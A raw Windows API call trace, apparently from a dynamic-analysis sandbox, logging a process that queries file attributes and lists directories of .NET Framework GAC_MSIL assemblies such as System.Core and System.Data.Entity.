	[0088.706] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.EventBasedAsync\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.eventbasedasync\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1273e878 | out: lpFileInformation=0x1273e878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61d4a160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61d4a160, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.706] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.EventBasedAsync\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.eventbasedasync\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.706] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.EventBasedAsync\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61d4a160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61d4a160, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.706] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.706] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.EventBasedAsync\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.ComponentModel.EventBasedAsync.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.componentmodel.eventbasedasync\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.componentmodel.eventbasedasync.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273e918 | out: lpFileInformation=0x1273e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61d4a160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7338)) returned 1
	[0088.707] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.configuration"), fInfoLevelId=0x0, lpFileInformation=0x1273e968 | out: lpFileInformation=0x1273e968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934e09c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x934e09c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x934e09c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.707] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.configuration"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.707] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934e09c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x934e09c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x934e09c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.707] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.707] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.configuration\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1273ea08 | out: lpFileInformation=0x1273ea08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934e09c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x661475c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x661475c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.707] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.configuration\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.707] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934e09c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x661475c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x661475c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.708] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.708] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Configuration.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.configuration\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.configuration.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273eaa8 | out: lpFileInformation=0x1273eaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x661475c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x624d0)) returned 1
	[0088.708] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration.Install" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.configuration.install"), fInfoLevelId=0x0, lpFileInformation=0x1273eaf8 | out: lpFileInformation=0x1273eaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9352cc80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9352cc80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9352cc80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.708] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration.Install" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.configuration.install"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.709] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration.Install\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9352cc80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9352cc80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9352cc80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.709] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.709] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration.Install\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.configuration.install\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x1273eb98 | out: lpFileInformation=0x1273eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9352cc80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x661b99e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x661b99e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.709] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration.Install\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.configuration.install\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.709] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration.Install\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9352cc80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x661b99e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x661b99e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.709] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.709] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration.Install\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.configuration.install\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.configuration.install.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273ec38 | out: lpFileInformation=0x1273ec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x661b99e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x19100)) returned 1
	[0088.709] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Core" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.core"), fInfoLevelId=0x0, lpFileInformation=0x1273ec88 | out: lpFileInformation=0x1273ec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93aadf60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93aadf60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93aadf60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.710] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Core" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.core"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.710] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Core\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93aadf60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93aadf60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93aadf60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.710] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.710] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Core\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.core\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273ed28 | out: lpFileInformation=0x1273ed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93aadf60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61de26e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61de26e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.710] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Core\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.core\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.710] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Core\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93aadf60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61de26e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61de26e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.710] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.710] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Core\\v4.0_4.0.0.0__b77a5c561934e089\\System.Core.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.core\\v4.0_4.0.0.0__b77a5c561934e089\\system.core.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273edc8 | out: lpFileInformation=0x1273edc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61e08840, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x141ea0)) returned 1
	[0088.710] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.datasetextensions"), fInfoLevelId=0x0, lpFileInformation=0x1273ee18 | out: lpFileInformation=0x1273ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93afa220, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93afa220, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93afa220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.711] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.datasetextensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.711] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93afa220, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93afa220, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93afa220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.711] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.711] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.datasetextensions\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273eeb8 | out: lpFileInformation=0x1273eeb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93afa220, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61ea0dc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61ea0dc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.711] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.datasetextensions\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.711] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93afa220, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61ea0dc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61ea0dc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.711] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.712] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.DataSetExtensions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.DataSetExtensions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.datasetextensions\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.datasetextensions.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273ef58 | out: lpFileInformation=0x1273ef58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61ea0dc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x11708)) returned 1
	[0088.712] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.entity"), fInfoLevelId=0x0, lpFileInformation=0x1273efa8 | out: lpFileInformation=0x1273efa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b6c640, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93b6c640, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93b6c640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.712] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.entity"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.712] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b6c640, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93b6c640, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93b6c640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.712] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.712] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.entity\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x1273f048 | out: lpFileInformation=0x1273f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b20380, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62043ce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62043ce0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.712] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.entity\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.712] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b20380, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62043ce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62043ce0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.712] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.713] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.Entity.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.entity\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.entity.dll"), fInfoLevelId=0x0, lpFileInformation=0x1273f0e8 | out: lpFileInformation=0x1273f0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62069e40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3d78c8)) returned 1
	[0088.713] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity.Design" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.entity.design"), fInfoLevelId=0x0, lpFileInformation=0x1273f138 | out: lpFileInformation=0x1273f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4864a00, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4864a00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4864a00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.713] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Data.Entity.Design" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.data.entity.design"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
